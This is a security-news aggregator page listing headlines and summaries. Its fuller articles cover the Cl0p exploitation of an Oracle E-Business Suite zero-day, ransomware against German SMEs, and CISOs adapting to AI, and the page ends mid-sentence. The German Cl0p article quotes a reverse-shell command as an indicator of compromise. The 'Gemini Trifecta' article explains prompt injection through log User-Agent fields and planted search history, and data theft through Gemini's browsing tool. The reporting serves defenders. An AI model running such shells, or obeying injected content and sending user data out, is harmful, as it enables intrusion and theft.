Blahalla

Inside Microsoft Threat Intelligence: Calm in the chaos

www.microsoft.com · 10 months ago

Incident response is never orderly. Threat actors don’t wait. Environments are compromised. Data is missing. Confidence is shaken. But for Microsoft’s Incident Response (IR) team, that chaos is exactly where the work begins.
Elon Musk Gambles on Sexy A.I. Companions

www.nytimes.com · 10 months ago

In July, the billionaire’s A.I. company introduced two sexually explicit chatbots, pushing a new version of intimacy.
Medusa ransomware used during exploitation of GoAnywhere file transfer bug, Microsoft says

therecord.media · 10 months ago

Cybercriminals are using the Medusa ransomware strain during exploitation of a vulnerability in Fortra's GoAnywhere file transfer tool.
Cyberattackers Exploit Zimbra Zero-Day Via ICS

www.darkreading.com · 10 months ago

A threat actor purporting to be from the Libyan Navy's Office of Protocol targeted Brazil's military earlier this year using the rare tactic.
Clop Ransomware Hits Oracle Customers Via Zero-Day Flaw

www.darkreading.com · 10 months ago

The infamous Clop gang has targeted a wide range of Oracle E-Business Suite customers using a newly disclosed zero-day vulnerability.
FBI, UK gov’t urge orgs to patch Oracle E-Business vuln after alleged Clop campaign

therecord.media · 10 months ago

FBI Assistant Director Brett Leatherman said “this is ‘stop-what-you’re-doing and patch immediately’ vulnerability.”
OpenAI Agrees to Use Computer Chips From AMD

www.nytimes.com · 10 months ago

Weeks after a $100 billion agreement to use computer chips from Nvidia, OpenAI has signed a similar deal with a rival chipmaker.
Microsoft: Critical GoAnywhere bug exploited in ransomware attacks

www.bleepingcomputer.com · 10 months ago

A cybercrime group, tracked as Storm-1175, has been actively exploiting a maximum severity GoAnywhere MFT vulnerability in Medusa ransomware attacks for nearly a month.
Oracle issues emergency patch for zero-day flaw exploited by Cl0p ransomware gang

www.csoonline.com · 10 months ago

It’s the bad news that many customers of Oracle E-Business Suite (EBS) have been dreading: reports of ransomware attacks targeting the software have turned out to be connected to a serious zero-day vulnerability that requires immediate patching. The first indications that something might be awry emerged last week from Halcyon, Google’s Threat Intelligence Group (GTIG), and Mandiant, which issued alerts that one of the world’s most active extortion groups, Cl0p, was probably behind recent email demands sent to Oracle customers running internet-facing EBS ERP portals. Although there was some initial uncertainty about the scope, severity, and attribution of the attacks, these reports revealed worrying details, including unusually large ransom demands of up to $50 million backed by proof of compromise such as screenshots and file trees. “We are the Cl0p team. If you haven’t heard about us, you can Google about us on the Internet,” began one of the ransom notes, re-published by a news site. The note went on to make the usual demand for payment, backed by threats to expose stolen data if ransom was not paid. The worry was how the attackers were compromising victims. During 2025, Oracle has patched several important EBS security issues, including CVE-2025-30727 affecting the iSurvey Module, and CVE-2025-21541 affecting Admin Screens and Grants UI, neither known to have been exploited. The flaw exploited as part of the latest attack remains in question. A blog last week by Oracle’s CSO, Rob Duhart, indicated that multiple vulnerabilities from the July 2025 Oracle Critical Patch Update (CPU) might be involved. However, this was later updated to remove that reference. A post by Charles Carmakal of Mandiant still refers to multiple vulnerabilities, but the focus has now shifted to a new remote code execution (RCE) flaw, CVE-2025-61882, as the main culprit. The fact that Oracle issued an emergency patch for it during the weekend seems to confirm this. Initial access by Cl0p dates to August, which means that attackers have had plenty of time to steal large amounts of data. Extortion emails were sent to victims from September 29 onwards, but might not yet have reached all victims, Carmakal cautioned. “Given the broad mass 0-day exploitation that has already occurred (and the n-day exploitation that will likely continue by other actors), irrespective of when the patch is applied, organizations should examine whether they were already compromised,” he said. Red alert: Patch now Rated a ‘critical’ 9.8 on CVSS, CVE-2025-61882 is a vulnerability in the EBS BI Publisher Integration component of Oracle E-Business Suite affecting versions 12.2.3 to 12.2.14, which is remotely exploitable without authentication. Customers should apply the latest patch after first applying the critical patch update from October 2023 if they hadn’t already done so. Any versions of the software updated before October 4 should be considered at risk. “Oracle strongly recommends that customers apply the updates provided by this Security Alert as soon as possible,” the company warned. Oracle also published a list of indicators of compromise (IoCs), including IP addresses, observed commands, and malware signatures, to aid in detection. “It’s likely that almost no one patched over the weekend. We’re waking up to a critical vulnerability with public exploit code and unpatched systems everywhere,” said Jake Knott, principal security researcher at continuous security testing company, watchTowr. “We fully expect to see mass, indiscriminate exploitation from multiple groups within days. If you run Oracle EBS, this is your red alert. Patch immediately, hunt aggressively, and tighten your controls, fast.” According to Zbyněk Sopuch, CTO of data security vendor, Safetica, enterprises should also note the evolving cyber criminal behavior signaled by recent ransomware attacks. “The targeted systems-of-choice for thieves include ERP, finance, HR, and the typical points of entry are via admin credentials and third-party connectors, such as VPNs, middleware, and API service accounts, which tend to have open access privileges,” said Sopuch. He recommended that companies isolate critical applications as much as possible, while making protections such as multi-factor authentication (MFA) standard for admin logins and integration or API access points. “Conversely, give service and integration accounts minimum access or simple access-appropriate-to-role permissions, and routinely rotate keys,” he said. Zero-day vulnerabilities seem to be particularly favored by Cl0p, with the 2023 attack against the MOVEit file transfer customers exploiting CVE-2023-34362 a high-profile example. Other attacks with the same approach included those against Accellion in 2020, and SolarWinds in 2021. The lesson is that organizations can detect incursions only if they are continuously monitoring all risk points in the attack surface, such as external access points and logins, said Sopuch.
Microsoft: Running multiple Office apps causes Copilot issues

www.bleepingcomputer.com · 10 months ago

Microsoft is investigating a bug that causes Copilot issues when multiple Office apps are running simultaneously on the same system.
Zeroday Cloud hacking contest offers $4.5 million in bounties

www.bleepingcomputer.com · 10 months ago

A new hacking competition called Zeroday Cloud, focused on open-source cloud and AI tools, announced a total prize pool of $4.5 million in bug bounties for researchers that submit exploits for various targets.
Investigating active exploitation of CVE-2025-10035 GoAnywhere Managed File Transfer vulnerability

www.microsoft.com · 10 months ago

Storm-1175, a financially motivated actor known for deploying Medusa ransomware and exploiting public-facing applications for initial access, was observed exploiting the deserialization vulnerability in GoAnywhere MFT's License Servlet, tracked as CVE-2025-10035. We are publishing this blog post to increase awareness of this threat and to share end-to-end protection coverage details across Microsoft Defender.
New malware leverages WhatsApp to target Brazilian government and businesses

therecord.media · 10 months ago

Brazilian WhatsApp users should be aware of malware that hijacks contact lists to spread itself and potentially serve as a gateway for other malicious code that targets financial information, researchers said.
ChatGPT Pulse is coming to the web, but no word on free or Plus roll out

www.bleepingcomputer.com · 10 months ago

OpenAI's ChatGPT Pulse, which is a tool that gives you personalised updates based on usage patterns, is coming to the web.
Cl0p nutzt Schwachstelle bei Oracle aus

www.csoonline.com · 10 months ago

Die Cl0p-Bande nutzt Zero-Day-Schwachstelle bei Oracle für Cyberattacken aus. Dragos Asaftei / Shutterstock Oracle hat ein Notfall-Update veröffentlicht, um eine kritische Sicherheitslücke in seiner E-Business Suite (EBS) zu beheben. Das Leck mit Kennung CVE-2025-61882 hat einen CVSS-Score von 9,8 und wurde bereits bei der jüngsten Welle von Cl0p zum Diebstahl von Daten ausgenutzt. Die Sicherheitslücke betrifft einen nicht näher bezeichneten Fehler, der es einem nicht authentifizierten Angreifer mit Netzwerkzugriff über HTTP ermöglichen soll, die Oracle Concurrent-Processing-Komponente zu kompromittieren und so die Kontrolle zu übernehmen. Zugriff aus der Ferne „Diese Sicherheitslücke kann ohne Authentifizierung remote ausgenutzt werden, also über ein Netzwerk, ohne Benutzername und Passwort“, so Oracle. Bei erfolgreichem Exploit sei ein Angreifer dann in der Lage, über die Sicherheitslücke aus der Ferne bösartigen Code ausführen. Laut Rob Duhart, Chief Security Officer von Oracle, sollten Unternehmen auf Indikatoren für eine Kompromittierung (IoCs) achten. Die folgenden IP-Adressen und Artefakte deuteten dabei auf eine mögliche Beteiligung der Scattered LAPSUS$ Hunters-Gruppe an dem Exploit hin: 200.107.207[.]26 (Potenzielle GET- und POST-Aktivität) 185.181.60[.]11 (Potenzielle GET- und POST-Aktivität) sh -c /bin/bash -i & /dev/tcp// 0&1 (Herstellen einer ausgehenden TCP-Verbindung über eine bestimmte port) oracleebsndayexploitpocscatteredlapsusretardcl0phunters.zip oracleebsndayexploitpocscatteredlapsusretard-cl0phunters/exp.py oracleebsndayexploitpocscatteredlapsusretard-cl0phunters/server.py Kompromittierung per Mail Der Sicherheitsanbieter Mandiant beschreibt die Breaches als eine „massive E-Mail-Kampagne“, die von Hunderten kompromittierten Konten aus gestartet wurde. „Cl0p nutzte mehrere Schwachstellen in Oracle EBS aus und konnte so im August 2025 große Datenmengen von mehreren Opfern stehlen“, erklärte Charles Carmakal, CTO von Mandiant, in einem LinkedIn -Post. Er fügte hinzu, dass mehrere Schwachstellen ausgenutzt wurden, darunter „Schwachstellen, die im Oracle-Update vom Juli 2025 gepatcht wurden, sowie eine, die an diesem Wochenende gepatcht wurde (CVE-2025-61882).“ Angesichts der bereits erfolgten, massenhaften Zero-Day-Ausnutzung (und der wahrscheinlich weiteren N-Day-Ausnutzung durch andere Akteure) sollten Unternehmen unabhängig vom Zeitpunkt der Patch-Anwendung prüfen, ob sie bereits kompromittiert wurden“, so Carmakal.
U.S. v. Google: What Each Side Argued for Fixing Google’s Ad Tech Monopoly

www.nytimes.com · 10 months ago

The Justice Department and Google wrapped up a two-week hearing that could have a major effect on online advertising.
OpenAI is testing ChatGPT-powered Agent Builder

www.bleepingcomputer.com · 10 months ago

AI startups are convinced AI agents are the future, and OpenAI is building a tool that will allow you to create your own AI Agents.
Redis warns of critical flaw impacting thousands of instances

www.bleepingcomputer.com · 10 months ago

The Redis security team has released patches for a maximum severity vulnerability that could allow attackers to gain remote code execution on thousands of vulnerable instances.
Taking remote control over industrial generators

www.reddit.com · 10 months ago

Industrial control systems are vulnerable to unauthorized remote access, posing a severe threat to critical infrastructure. Attackers could potentially seize remote control of essential equipment, such as industrial generators, through network weaknesses. Mitigation requires strict network segmentation and the elimination of default security credentials. Properly securing these systems is vital because manipulating power generation equipment poses a significant national security risk.
Signal calls on Germany to vote against ‘Chat Control,’ saying it would leave EU market

therecord.media · 10 months ago

The head of the Signal Foundation raised concerns around Germany now refusing to say whether it will support Chat Control in an upcoming vote.
LinkedIn sues ProAPIs for using 1M fake accounts to scrape user data

www.bleepingcomputer.com · 10 months ago

LinkedIn has filed a lawsuit against Delaware company ProAPIs Inc. and its founder and CTO, Rehmat Alam, for allegedly scraping legitimate data through more than a million fake accounts.
Discord Says User Information Stolen in Third-Party Data Breach

www.securityweek.com · 10 months ago

Names, usernames, email addresses, contact information, IP addresses, and billing information was compromised.
Case Study: How Advance2000 keeps 10K+ users secure with Sophos

news.sophos.com · 10 months ago

Sophos MDR is all but mandatory to keep this New York-based MSP’s customers secure.
Suspected Chinese cyber spies targeted Serbian aviation agency

therecord.media · 10 months ago

Hackers believed to be linked to China have targeted a Serbian government department overseeing aviation, as well as other European institutions, according to new research.
Chinese Gov't Fronts Trick the West to Obtain Cyber Tech

www.darkreading.com · 10 months ago

Outwardly neutral Chinese institutions have been collaborating with Western orgs and researchers for the benefit of PRC state intelligence.
The role of Artificial Intelligence in today’s cybersecurity landscape

www.bleepingcomputer.com · 10 months ago

AI is transforming cybersecurity, from detecting phishing and insider threats to accelerating response. See how Waziuh, the open-source XDR and SIEM, integrates AI to turn raw security data into actionable insights and smarter threat hunting.
New Report Links Research Firms BIETA and CIII to China’s MSS Cyber Operations

thehackernews.com · 10 months ago

A Chinese company named the Beijing Institute of Electronics Technology and Application (BIETA) has been assessed to be likely led by the Ministry of State Security (MSS). The assessment comes from evidence that at least four BIETA personnel have clear or possible links to MSS officers and their relationship with the University of International Relations, which is known to share links with the
Steam and Microsoft warn of Unity flaw exposing gamers to attacks

www.bleepingcomputer.com · 10 months ago

A code execution vulnerability in the Unity game engine could be exploited to achieve code execution on Android and privilege escalation on Windows.
Discord users’ data stolen by hackers in third-party data breach

www.bitdefender.com · 10 months ago

Discord has confirmed that users who contacted its customer support service have had their data stolen by hackers, who have attempted to extort a ransom from the company. Read more in my article on the Hot for Security blog.
Microsoft and Steam Take Action as Unity Vulnerability Puts Games at Risk

www.securityweek.com · 10 months ago

The flaw could lead to local code execution, allowing attackers to access confidential information on devices running Unity-built applications.
Android and Windows gamers worldwide potentially affected by bug in Unity game engine

therecord.media · 10 months ago

An advisory from Unity, which makes the software behind dozens of popular games, warns developers to patch a vulnerability that could allow an attacker to execute code via an affected app.
Gemini Trifecta: AI autonomy without guardrails opens new attack surface

www.csoonline.com · 10 months ago

Security researchers at Tenable revealed three distinct vulnerabilities across Gemini’s cloud assist, search optimization, and browsing components. If exploited, these flaws allow attackers to inject prompts, hijack AI logic, and quietly siphon private user data, even bypassing many of Google’s built-in safeguards. Together, the flaws have been dubbed “Gemini Trifecta.” Itay Ravia, head of Aim Labs, the cybersecurity outfit that first documented a similar EchoLeak zero-click attack on Microsoft 365 Copilot, said, “Tenable’s Gemini Trifecta reinforces that agents themselves become the attack vehicle once they’re granted too much autonomy without sufficient guardrails. The pattern is clear: logs, search histories, and browsing tools are all active attack surfaces.” Google has since patched the issue, but researchers emphasized that the episode is a wake-up call for the AI era. Prompt injection in Gemini Cloud Assist and Search Gemini Cloud Assist is a feature that helps users summarize and interpret cloud logs (particularly in Google Cloud). Tenable found that this service could be tricked by an attacker to embed specially formatted content, such as through a manipulated HTTP User-Agent header, in a log. The tweaked content then flows into the logs, which Gemini later ingests and summarizes. In a proof-of-concept (PoC) shared in a blog post, the researchers sent malicious prompt fragments via the User Agent field to a Cloud Function endpoint. When Gemini later “explained” the log entry, it included a phish-ready link derived from the crafted input, though the full prompt was hidden behind a collapsed “Additional prompt details” section. Because logs are pervasive and are often considered passive artifacts, this effectively turns nearly any public-facing cloud endpoint into an attack surface, researchers noted. The blog post further argued that several other Google Cloud services, including Functions, Run, App Engine, Load Balancing, etc, could be similarly abused if logs are used in AI-assisted summarization. The second vector exploits Gemini’s search personalization. As Gemini’s Search module uses a user’s past queries as context, an attacker could use JavaScript tricks to insert malicious “search queries” into a user’s browser history. When Gemini reads that history as context, it treats those injected prompts as legitimate inputs. “The underlying issue was the model’s inability to differentiate between legitimate user queries and injected prompts from external sources,” the researchers said. “The JavaScript trick to inject search history to victims included stopping a redirect to the Google Search API, but waiting long enough to allow it to be logged in the search history and not actually redirecting the page.” Exfiltration via the browsing tool Even after prompt injection, the attacker needs a way to pull data out, and that’s what the third flaw affecting the Gemini Browsing Tool allowed. Tenable researchers crafted prompts to trick Gemini to fetch external web content using the Browser Tool, embedding user data into the query string of that request. The outbound HTTP call thereby carried the user’s sensitive data to an attacker-controlled server, without relying on visibly rendered links or markdown tricks. This finding is notable as Google already has mitigations like suppressing hyperlink rendering or filtering image markdowns. The attack bypassed those UI-level defenses by using Google Browsing Tool invocation as the exfiltration channel. While Google did not immediately respond to CSO’s request for comment, Tenable said the cloud giant has fixed all of these issues by sanitizing link outputs in Browser Tool and bringing in more structural protections in Gemini Cloud Assist and Search. Prompt injection attacks have been around since AI first came into play, alongside some other sophisticated ways to subvert these intelligent models, including EchoChamber, EchoLeak, and Crescendo. “These are intrinsic weaknesses in the way today’s agents are built, and we will continue to see them resurface across different platforms until runtime protections are widely deployed,” Ravia noted.
XWorm malware resurfaces with ransomware module, over 35 plugins

www.bleepingcomputer.com · 10 months ago

New versions of the XWorm backdoor are being distributed in phishing campaigns after the original developer, XCoder, abandoned the project last year.
5 Critical Questions For Adopting an AI Security Solution

thehackernews.com · 10 months ago

In the era of rapidly advancing artificial intelligence (AI) and cloud technologies, organizations are increasingly implementing security measures to protect sensitive data and ensure regulatory compliance. Among these measures, AI-SPM (AI Security Posture Management) solutions have gained traction to secure AI pipelines, sensitive data assets, and the overall AI ecosystem. These solutions help
⚡ Weekly Recap: Oracle 0-Day, BitLocker Bypass, VMScape, WhatsApp Worm & More

thehackernews.com · 10 months ago

The cyber world never hits pause, and staying alert matters more than ever. Every week brings new tricks, smarter attacks, and fresh lessons from the field. This recap cuts through the noise to share what really matters, key trends, warning signs, and stories shaping today’s security landscape. Whether you’re defending systems or just keeping up, these highlights help you spot what’s coming
Oracle Rushes Patch for CVE-2025-61882 After Cl0p Exploited It in Data Theft Attacks

thehackernews.com · 10 months ago

Oracle has released an emergency update to address a critical security flaw in its E-Business Suite software that it said has been exploited in the recent wave of Cl0p data theft attacks. The vulnerability, tracked as CVE-2025-61882 (CVSS score: 9.8), concerns an unspecified bug that could allow an unauthenticated attacker with network access via HTTP to compromise and take control of the Oracle
Chinese Cybercrime Group Runs Global SEO Fraud Ring Using Compromised IIS Servers

thehackernews.com · 10 months ago

Cybersecurity researchers have shed light on a Chinese-speaking cybercrime group codenamed UAT-8099 that has been attributed to search engine optimization (SEO) fraud and theft of high-value credentials, configuration files, and certificate data. The attacks are designed to target Microsoft Internet Information Services (IIS) servers, with most of the infections reported in India, Thailand
Hackers Extorting Salesforce After Stealing Data From Dozens of Customers

www.securityweek.com · 10 months ago

Salesforce says the extortion attempts are related to past or unsubstantiated incidents, and not to fresh intrusions.
AI in the 2026 Midterm Elections

www.schneier.com · 10 months ago

We are nearly one year out from the 2026 midterm elections, and it’s far too early to predict the outcomes. But it’s a safe bet that artificial intelligence technologies will once again be a major storyline. The widespread fear that AI would be used to manipulate the 2024 U.S. election seems rather quaint in a year where the president posts AI-generated images of himself as the pope on official White House accounts. But AI is a lot more than an information manipulator. It’s also emerging as a politicized issue. Political first-movers are adopting the technology, and that’s opening a
Data Breach at Doctors Imaging Group Impacts 171,000 People

www.securityweek.com · 10 months ago

Doctors Imaging Group is informing customers about a cybersecurity incident nearly a year after it occurred.
Self-Propagating Malware Hits WhatsApp Users in Brazil

www.darkreading.com · 10 months ago

The enterprise-focused Water Saci campaign spreads Sorvepotel, which can steal credentials and monitor browser activity to defraud financial institutions in the region.
Cyberbedrohungslage für KMUs spitzt sich zu

www.csoonline.com · 10 months ago

srcset="https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?quality=50&strip=all 7360w, https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?resize=300%2C168&quality=50&strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?resize=768%2C432&quality=50&strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?resize=1024%2C576&quality=50&strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?resize=1536%2C864&quality=50&strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?resize=2048%2C1152&quality=50&strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?resize=1240%2C697&quality=50&strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?resize=150%2C84&quality=50&strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?resize=854%2C480&quality=50&strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?resize=640%2C360&quality=50&strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2025/10/shutterstock659365795.jpg?resize=444%2C250&quality=50&strip=all 444w" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px" KMUs sind häufig Ziel von Ransomware-Angriffen. PR Image Factory, shutterstock.com Laut der Transferstelle Cybersicherheit im Mittelstand haben sich Cyberangriffe auf deutsche Unternehmen, die auf Leak-Seiten veröffentlicht wurden, zwischen den Jahren 2021 bis 2024 mehr als vervierfacht. Damit ist Deutschland trauriger Spitzenreiter, gefolgt von Italien, Frankreich und Spanien. Auch die Zahlen des Bundeskriminalamts (BKA) bestätigen diese Entwicklung. Der polizeilichen Kriminalstatistik von 2024 zufolge richten sich 80 Prozent der 950 ausgewerteten Ransomware -Angriffe gegen kleine und mittlere Unternehmen. In 251 Fällen konnte zusätzlich über eine Auswertung der Plattform ransomware.live ein Datenabfluss nachgewiesen werden. Das aktuelle Lagebild der Transferstelle Cybersicherheit im Mittelstand zeigt auf, dass die Angreifer in den meisten Fällen Double Extortion einsetzen. Dabei handelt es sich um eine doppelte Erpressung, zunächst werden die Daten verschlüsselt, dann droht man mit der Veröffentlichung der gestohlenen Daten. Gezielte Phishing-Attacken auf Mitarbeiter Neben technischen Schwachstellen sind die Mitarbeitenden von kleinen und mittleren Unternehmen ein beliebtes Angriffsziel. Vor allem mit Phishing-Angriffen sind Cyberkriminelle sehr erfolgreich und fokussieren häufig Personen in Führungspositionen. Das Lagebild zeigt, dass Geschäftsführende durchschnittlich 57 gezielte Phishing-Angriffe pro Jahr abwehren müssen. Bei IT-Verantwortlichen sind es immerhin noch 40 gezielte Phishing-Attacken. Mangelhafter Cyberschutz bei KMUs Die gestiegene Attraktivität des Mittelstands für Cyberkriminelle kommt nicht von ungefähr. Wie eine aktuelle Studie des Netzwerkriesen Cisco offenbar, sind t: weniger als zwei Prozent der deutschen KMU optimal vor Cyberattacken geschützt. Demnach investieren Mittelständler prozentual weniger in Cybersicherheit als größere Unternehmen. Hinzu kommt ein strukturelles Problem: Der Mangel an IT-Fachkräften betrifft 83 Prozent der KMU. Zudem kämpfen viele kleine und mittlere Unternehmen mit einer zunehmenden Komplexität der IT-Security-Infrastruktur. Laut Cisco-Umfrage setzen 68 Prozent der KMU elf bis 40 verschiedene Sicherheitslösungen ein, fünf Prozent sogar bis zu 70. Drei von vier Unternehmen sehen darin eine klare Beeinträchtigung ihrer Verteidigungsfähigkeit. KMUs unterschätzen eigenes Risiko Trotz der vergleichsweise schwachen Abwehrfähigkeiten sind KMU erstaunlich zuversichtlich: 84 Prozent halten ihre aktuelle IT-Infrastruktur für ausreichend, um in naher Zukunft gegen Cyberattacken gewappnet zu sein. „Die individuell empfundene Sicherheit deutscher KMU ist ein Trugschluss“, betont Marcus Gerstmann, Leader Small & Medium Business bei Cisco Deutschland. „Viele unterschätzen die Dynamik und Professionalität heutiger Cyberangriffe. Wer jetzt nicht nachrüstet, riskiert gravierende Schäden durch erfolgreiche Angriffe.“ Ein Mindestmaß an Schutzmaßnahmen reiche nicht aus, um komplexe Angriffsmethoden wie KI-basierten Attacken auf Unternehmensnetzwerke standzuhalten, mahnt der Experte. „Auch KMU brauchen ein gutes Cyberschutzniveau, sonst drohen Betriebsausfälle, der Verlust von Kundenvertrauen, möglichen Klagen und im Extremfall die Unternehmenspleite.“ Lesetipp: Risiko-Management für KMU, die 8 wichtigsten Schritte zur Abwehr von Ransomware
$4.5 Million Offered in New Cloud Hacking Competition

www.securityweek.com · 10 months ago

Wiz has teamed up with Microsoft, Google and AWS and is inviting cloud security researchers to its Zeroday.Cloud competition.
Beer Giant Asahi Says Data Stolen in Ransomware Attack

www.securityweek.com · 10 months ago

The brewing giant has reverted to manual order processing and shipment as operations at its Japanese subsidiaries are disrupted.
Oracle E-Business Suite Zero-Day Exploited in Cl0p Attacks

www.securityweek.com · 10 months ago

Oracle has informed customers that it has patched a critical remote code execution vulnerability tracked as CVE-2025-61882.
Analyzing The Salesloft-Drift Breach

www.reddit.com · 10 months ago

Analysis of the Salesloft breach indicates that unauthorized access occurred within the platform's infrastructure. Investigators are scrutinizing the specific data types compromised and the methods used by the threat actors. The breach analysis details the necessary steps for mitigating risk and improving platform security protocols. No CVEs were mentioned in the discussion.
CISOs rethink the security organization for the AI era

www.csoonline.com · 10 months ago

The ever-changing cybersecurity landscape has long kept CISOs on their toes and now AI is bringing new challenges in how security teams operate and innovate. In some cases, the technology is even changing how they are perceived. AI capabilities are increasingly being used in cybersecurity programs, according to Deloitte’s Future of Cyber Survey of US cyber decision-makers, with 43% of respondents using AI in their cybersecurity programs to a large extent. This is helping CISOs gain more influence among an increasingly cyber-savvy C-suite: Almost one-third of respondents noted CISO involvement in strategic conversations about tech investment, the Deloitte survey says. Still, the change is gradual, stresses Joe Oleksak, a partner at Plante Moran, an accounting and wealth management consultancy. “After almost 30 years of cybersecurity consulting, I can say with confidence that AI hasn’t revolutionized security organizations, but it is gradually reshaping how they operate,” he says. The biggest change Oleksak has seen is the growing realization that speed has become the defining factor. Security teams cannot take their foot off the pedal though and think that AI is a magic bullet, he contends. “AI accelerates everything, both attacks and defenses, which means the fundamentals matter more than ever,” Oleksak says. “Provisioning, permissions, network segmentation, even what information is stored in shared folders must be closely managed, because AI magnifies every mistake.” This is where discipline comes in. “Organizations that have invested in security over time are seeing efficiencies by layering AI-driven tools into their workflows,” Oleksak says. “But those who haven’t taken security seriously are still stuck with the same exposures they’ve always had. AI doesn’t magically catch them up.’” In fact, because attackers are using AI to make phishing, scanning, and deepfakes cheaper and faster, Oleksak adds, the gap between mature and unprepared organizations is widening. Here is a look at how CISOs are re-examining their security organizations to keep up with the pace and potential of AI as the technology becomes a more frequent part of their strategies. Shifting C-suite dynamics Deneen DeFiore, vice president and CISO at United Airlines, says that unequivocally AI has changed the nature of her relationship with the rest of the C-suite. “AI has elevated cybersecurity into a strategic business conversation. I’m working more closely with other executives to ensure security is built into AI initiatives from the start,” she says. “It’s no longer just about protecting infrastructure, it’s about enabling innovation safely, building trust, and helping the business move faster with confidence.” The shift has also occurred, she says, because of the airline’s commitment to responsible AI. “We’re focused on deploying AI ethically and transparently, with cybersecurity playing a central role in ensuring accountability, fairness, and resilience. This shared responsibility across the C-suite is reshaping how we lead and how we innovate.” United Airlines Much of this shift has to do with organizations having already seen what happens when security is treated as an afterthought, Oleksak notes. This occurred across the industry during the rollout of the internet in the 1990s, and Oleksak believes AI can follow the same pattern if C-suite dynamics don’t change. “We cannot afford to repeat those mistakes,” he says. “For AI to be deployed responsibly, the CISO must be at the center of strategy and execution. A security-first approach, led by the CISO, and sponsored by executive management, is the only way to ensure AI strengthens rather than undermines the enterprise.” Reshaping cyber-IT collaboration The advent of AI has also changed how IT works with the security organization, shifting the focus from reactive security to proactive, strategic collaboration, DeFiore says. “We’re now embedding cybersecurity into AI initiatives from the start, working closely across teams to ensure innovation is both safe and ethical,” she stresses. “Our commitment to responsible AI means every solution is designed with transparency, fairness, and accountability in mind.” Jason Lander, senior vice president of product management at Aya Healthcare, who manages security for the organization, is also seeing a change in the dynamics between cybersecurity and IT. “AI is noticeably reshaping how security and IT departments collaborate, streamline workflows, blend responsibilities, make decisions and redefine trust dynamics,” he says. “Our IT operations have become more intelligent and proactive. Our security team is gaining operational support and better visibility.” While Plante Moran’s Oleksak doesn’t believe AI has significantly changed how most security organizations work with IT, the technology has begun to shift expectations incrementally, he’s seen. “IT teams increasingly assume security can move faster because AI accelerates analysis and detection, and boards are starting to see the CISO as a more strategic role,” he says. At the same time, Oleksak doesn’t think there is enough recognition that the CISO brings a fundamentally different perspective than IT. “IT’s focus is on speed, efficiency, and enabling the business, while the CISO’s focus is on protecting the business. That distinction is often misunderstood,” he maintains. “As AI introduces powerful new risks, from deepfakes and AI-driven phishing to employees unintentionally exposing sensitive IP through AI queries, only the CISO is positioned to anticipate and mitigate these threats.” Jill Knesek, CISO of BlackLine, reports to the financial software company’s CIO. As she sees it the teams have always worked closely, but AI has taken that relationship to the next level. “Now, we have to be aligned on everything we do,” says Knesek, who was previously an FBI agent in the Cyber Crimes Squad and CISO of Mattel. This is because AI tools add risk and allow for opportunities, she says. Transforming the nature of work AI is enabling various improvements at Aya Healthcare, including the ability to streamline and automate repetitive tasks, Lander says, thereby evolving how security work gets done. “AI tools help retrieve data faster and expedite decision-making, which frees up team members’ time to focus on more strategic challenges,” he says. “We continue to upskill and train employees on new AI processes and tools, streamline systems integrations, identify immediate threat detection quicker, improve processes, and ensure a greater focus on overall security, and data governance and access.” United Airline’s DeFiore echoes that, saying AI now handles the noise by triaging alerts, surfacing anomalies, and automating repetitive tasks. This enables her security team to focus on strategic analysis, threat modeling, and resilience planning. “It’s made our operations faster, more focused, and more impactful.” Lander says AI has even reshaped his daily work by placing an emphasis on process automation, prompting him to reassess past organizational choices and enhance strategic priorities. “It requires a deeper knowledge in governance and risk, aligning AI capabilities with business objectives and balancing innovation with risk management,” he explains. “All of the investments we’re making at Aya are 100% mission-driven. Our innovative technologies ensure hospitals and healthcare facilities have the very best clinician when and where they’re needed most, while giving them time to focus on what’s most-important: patient care.” BlackLine’s Knesek is zeroing in on her security operations team as the biggest use case for AI because it requires a lot of overhead. Blackline has its own 24/7 security operations, and Knesek plans to put some security operations engineers in the company’s India office to get better coverage overnight and on weekends. “That’s one area where we’re going to leverage the AI capability so we don’t have to hire as many people to provide that level of coverage across the globe,” she says. The adoption of AI tools at Plante Moran “reflects a simple reality: The best way to combat AI-enabled threats is often with AI-enabled defenses,” Oleksak says. But as with all cybersecurity initiatives, technology is only one part of the solution, he points out. A sound defense begins with training and culture. “We’ve made a deliberate effort to educate all employees on both the capabilities and the risks of AI, so they understand why our security protocols and policies matter,” Oleksak says. “We don’t want employees to fear AI, it’s software, and like all software it has vulnerabilities.” Like United Airline’s DeFiore, Oleksak says that what matters is how responsibly AI is used. AI tools can help employees move faster, but people need to remember the basics. “For example, with deepfake voice farming now able to mimic executives, simple ‘old-school’ security practices like confirming instructions by phone are more important than ever,” he says. Even though AI hasn’t changed the size or structure of security teams at the consultancy, it has changed the focus of their work: less on repetitive triage, more on judgment, communication, and reinforcing a culture of security, Oleksak says. “It’s made training, culture, and old-fashioned good judgment more important than ever.” Making cybersecurity a more expansive effort One of the complexities AI has introduced is the need to validate the technology and service providers’ own cybersecurity preparedness and processes, which has become a more expansive effort due to AI, Oleksak says. “Deepfakes present enterprises with very real dangers, and they will only grow more prevalent,” he explains. “We are no exception and implemented redundant, often manual protocols to address these risks.” For Aya Healthcare’s Lander, AI has introduced a host of new opportunities his teams are looking at. “We’re rethinking and redefining sensitive data. We’re also adopting better detection models and practices for distinguishing between human- and bot-generated behavior,” he says, adding that security professionals are also monitoring and planning for increased risk of security leaks. At United Airlines, teams are being reorganized “to bring together threat analysts, engineers, and data scientists in more agile, collaborative pods,” DeFiore says. “We’re hiring selectively for AI and machine learning expertise, but we’re also investing in our existing talent, training them to understand how AI works, how to validate models, and how to use these tools responsibly,” she says. Feeling the pressure to work fast Knesek remains concerned about AI’s unknowns, yet she says companies 